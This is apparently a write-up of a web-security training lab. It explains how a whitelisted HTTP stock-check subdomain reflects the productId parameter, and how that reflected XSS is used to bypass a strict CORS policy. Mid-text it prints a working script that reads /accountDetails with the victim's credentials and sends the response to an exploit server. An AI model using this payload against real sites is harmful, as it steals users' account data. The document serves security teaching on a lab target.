Just like the last lab, the session cookie has SameSite=None and there is zero CSRF tokens or anything of the sort while querying for sensitive data on /accountDetails: But unlike the last two labs, the web application here controls which origins can get in quite strictly. It withstands parsing errors and the null check, which would prove exfiltrating victim’s data more difficult.

So naturally, we should probe other functionalities to find an attack surface. Notice the Check Stock add-on, is it rather odd that whenever we want to query stocks, it opens a window to an insecure HTTP subdomain? Plus, this possibly vulnerable subdomain is on the whitelist, maybe this is our attack surface: Upon closer inspection, to access stock level we do need to provide two necessary params productId and storeId. The site dictates the former must definitely be an integer, what if it isn’t? Rather than showing a generic error message, the web application on this subdomain reflects our wrong ID into the HTML. This smells of XSS vulnerabilities, let’s test this by adding a harmless h1 tag: Surprisingly this works! We can inject arbitrary HTML and the parser will honor it. Using all these information in mind, we can just paste our old payload into productId and it will run smooth as butter:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://<lab-id>.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='https://<exploit-server>/exploit?key='+this.responseText;
    };
</script>

However, pasting this directly may break due to some URL shenanigans. It’s best practice to URL-encode the entire thing first, resulting in a gargantuan garbage as shown here: After sending the payload to our victim, all those credentials will be logged and we can decode them as a result. Neat!